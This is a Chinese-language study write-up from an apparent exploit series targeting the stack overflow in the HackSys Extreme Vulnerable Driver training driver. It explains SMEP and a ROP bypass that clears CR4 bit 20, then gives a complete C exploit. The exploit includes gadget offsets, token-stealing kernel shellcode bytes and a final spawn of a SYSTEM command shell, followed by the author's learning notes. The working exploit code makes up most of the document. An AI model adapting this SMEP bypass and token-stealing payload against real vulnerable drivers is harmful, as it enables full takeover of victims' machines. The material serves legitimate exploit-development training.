[HEVD exploit 系列] StackOverflow
Page content
目标函数
TriggerBufferOverflowStack
__int64 __fastcall TriggerBufferOverflowStack(void *Src, unsigned __int64 Size)
{
char Dst[2048]; // [rsp+20h] [rbp-818h] BYREF
memset(Dst, 0, sizeof(Dst));
ProbeForRead(Src, 0x800ui64, 1u);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", Src);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", Dst);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 0x800i64);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
memmove(Dst, Src, Size);
return 0i64;
}
保护措施:SMEP^[3]^
定义
SMEP,即 Supervisor Mode Execution Protection,主管模式执行保护。该措施可以保证应用程序在更高特权级别运行时,不会在不受信任的程序内存中执行代码。
该机制通过控制寄存器^[2]^ CR4 的第 20 位实现,1 表示启用。
绕过方法
利用 ROP 链读取 CR4 的内容并对 20th 位的内容进行翻转。
注意事项:因为要调用EnumDeviceDrivers
函数,本文中的方法只使用于中及以上完整性级别^[4]^。否则需要考虑其他获取内核模块基址的方式。
待补充:获取内核模块基址的方式
漏洞利用简略步骤
- 确定返回地址相对于缓冲区的偏移
- 使用 msf 的工具生成循环字符串,对返回地址处的字符进行定位;
- 直接调试确定偏移
- 使用 RP++ 搜索 ntoskrnl.exe 中的 gadgets
0x997224: pop rcx ; ret ; \x40\x59\xc3 (1 found) 0x9a41d9: mov cr4, rcx ; ret ; \x0f\x22\xe1\xc3 (1 found)
- 使用 nasm + radare2 生成 shellcode
nasm shellcode.asm -o shellcode.bin -f bin radare2 -b 32 -c 'pc' ./shellcode.bin
代码
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#define DRIVER "\\\\.\\HacksysExtremeVulnerableDriver"
#define IOCTL_CODE 0x222003
ULONGLONG GetKernelBase(void) {
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
printf("[+] Obtaining Driver Base Address!\n");
BOOL DriversBase = EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
if (!DriversBase) {
printf("[!] FATAL: Error enumerating device drivers!\n");
exit(1);
}
char BaseName[1024] = { 0 };
BOOL DriversBaseName = GetDeviceDriverBaseNameA(lpImageBase[0], BaseName, sizeof(BaseName));
if (!DriversBaseName) {
printf("[!] FATAL: Error getting drivers base name!\n");
exit(1);
}
ULONGLONG KernelBase = (ULONGLONG)lpImageBase[0];
printf("[*] Driver base name is: %s\n", BaseName);
printf("[*] %s is located at: 0x%x\n", BaseName, KernelBase);
return KernelBase;
}
ULONGLONG CreateShellcode(void) {
/*
_start:
mov rax, [gs:0x188] ; Current thread (_KTHREAD)
mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
mov rbx, rax ; Copy current process (_EPROCESS) to rbx
__loop:
mov rbx, [rbx + 0x448] ; ActiveProcessLinks
sub rbx, 0x448 ; Go back to current process (_EPROCESS)
mov rcx, [rbx + 0x440] ; UniqueProcessId (PID)
cmp rcx, 4 ; Compare PID to SYSTEM PID
jnz __loop ; Loop until SYSTEM PID is found
mov rcx, [rbx + 0x4b8] ; SYSTEM token is @ offset _EPROCESS + 0x4b8
and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
mov [rax + 0x4b8], rcx ; Copy SYSTEM token to current process
__cleanup:
mov rax, [gs:0x188] ; _KPCR.Prcb.CurrentThread
mov cx, [rax + 0x1e4] ; KTHREAD.KernelApcDisable
inc cx
mov [rax + 0x1e4], cx
mov rdx, [rax + 0x90] ; ETHREAD.TrapFrame
mov rcx, [rdx + 0x168] ; ETHREAD.TrapFrame.Rip
mov r11, [rdx + 0x178] ; ETHREAD.TrapFrame.EFlags
mov rsp, [rdx + 0x180] ; ETHREAD.TrapFrame.Rsp
mov rbp, [rdx + 0x158] ; ETHREAD.TrapFrame.Rbp
xor eax, eax ;
swapgs
o64 sysret
*/
char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00"
"\x48\x89\xC3\x48\x8B\x9B\x48\x04\x00\x00\x48\x81\xEB\x48\x04\x00"
"\x00\x48\x8B\x8B\x40\x04\x00\x00\x48\x83\xF9\x04\x75\xE5\x48\x8B"
"\x8B\xB8\x04\x00\x00\x80\xE1\xF0\x48\x89\x88\xB8\x04\x00\x00\x65"
"\x48\x8B\x04\x25\x88\x01\x00\x00\x66\x8B\x88\xE4\x01\x00\x00\x66"
"\xFF\xC1\x66\x89\x88\xE4\x01\x00\x00\x48\x8B\x90\x90\x00\x00\x00"
"\x48\x8B\x8A\x68\x01\x00\x00\x4C\x8B\x9A\x78\x01\x00\x00\x48\x8B"
"\xA2\x80\x01\x00\x00\x48\x8B\xAA\x58\x01\x00\x00\x31\xC0\x0F\x01"
"\xF8\x48\x0F\x07";
LPVOID shellcode = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcode) {
printf("[-] FATAL: Unable to allocate shellcode!\n");
exit(1);
}
printf("[+] Shellcode allocated at: 0x%p\n", shellcode);
RtlMoveMemory(shellcode, payload, sizeof(payload));
ULONGLONG ShellcodeBase = (ULONGLONG)shellcode;
return ShellcodeBase;
}
void exploit() {
HANDLE DriverHandle;
DWORD OldProtect;
const size_t offset = 2072;
const size_t buffSize = 2072 + 4 * 8;
char buffer[buffSize] = { 0 };
ULONGLONG BaseAddress = GetKernelBase();
ULONGLONG shellcode = CreateShellcode();
ULONGLONG ROP1 = BaseAddress + 0x997224;
ULONGLONG ROP2 = 0x250EF8;
ULONGLONG ROP3 = BaseAddress + 0x9a41d9;
printf("[*] Preparing exploit buffer!\n");
memset(buffer, 0x41, sizeof(buffer));
printf("[+] Beginning ROP chain to disable SMEP!\n");
memcpy(&buffer[offset], &ROP1, 8);
memcpy(&buffer[offset + 8], &ROP2, 8);
memcpy(&buffer[offset + 16], &ROP3, 8);
printf("[+] SMEP should now be disabled!\n");
memcpy(&buffer[offset + 24], &shellcode, 8);
printf("[+] Executing shellcode!\n");
printf("[*] Opening handle to %s\n", DRIVER);
DriverHandle = CreateFileA(DRIVER, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (DriverHandle == INVALID_HANDLE_VALUE) {
printf("[!] FATAL: Could not open HEVD handle!\n");
return;
}
// IoControlCode 是从 HEVD.sys 的 IDA 中获得的
if (!DeviceIoControl(DriverHandle, IOCTL_CODE, buffer, buffSize, NULL, 0, NULL, NULL)) {
printf("[!] FATAL: Error sending IOCTL to driver!\n");
return;
}
}
int main() {
printf("[+] HEVD: Stack Buffer Overflow!\n");
exploit();
system("cmd.exe /c cmd.exe /K cd C:\\");
printf("[*] 1337 System Shell Bozo");
return 0;
}
知识点积累
ProbeForRead
| TheProbeForRead
routine checks that a user-mode buffer actually resides in the user portion of the address space, and is correctly aligned.DeviceIoControl
中的参数IoControlCode
是从驱动文件的逆向中获取的- ROP gadgets 搜索工具 RP++,以及十六进制 shellcode 的生成方式
- shellcode 中的提权方式,以及最后的 cleanup 来自 Kristal^[5]^ 的技巧,但是这种 cleanup 方式会导致最终的命令行窗口无法关闭,说明还是存在一些缺陷
问题总结
- 因为完全不了解如何触发漏洞,所以不确定真的存在漏洞。实际上在这个数据复制操作中,没有对数据源的大小进行任何检查和限制,而且 Src 和 Size 是调用驱动功能时由调用者提供的,可以被控制。因此可以认为存在溢出漏洞。
缺少的知识点:如何与 Windows 内核交互 -> C语言编程
CreateFileA
DeviceIoControl
- Q: Src 是用户态的缓冲区,那为什么 Dst 是内核态的缓冲区,这两个是怎么进行区分的? A: 和 ① 是同样的问题,Src 和 Size 由调用者从用户态提供,因此是用户态缓冲区。Dst 是驱动自己创建的,所以是内核态缓冲区。
- 编程的时候遇到了几个很弱智的问题:
- 原文代码中的缓冲区大小设置错误,但是我没发现,调试了半天系统都崩溃了;
- 看了另一篇分析文章^[6]^,代码细节上存在差异,把缓冲区大小修改完之后系统还是崩溃了,最后才发现对函数的理解有误……
原文使用了第一种赋值方式,但是有一个对 shellcode 取地址的操作,一开始我还以为是代码写错了,最后才意识到 memcpy 在这里有一个取值操作,然后才会把取到的值,即 shellcode 地址复制到缓冲区中。memcpy(&buffer[offset + 24], (void*)shellcode, 8); *(rop + index++) = (QWORD)shellcode;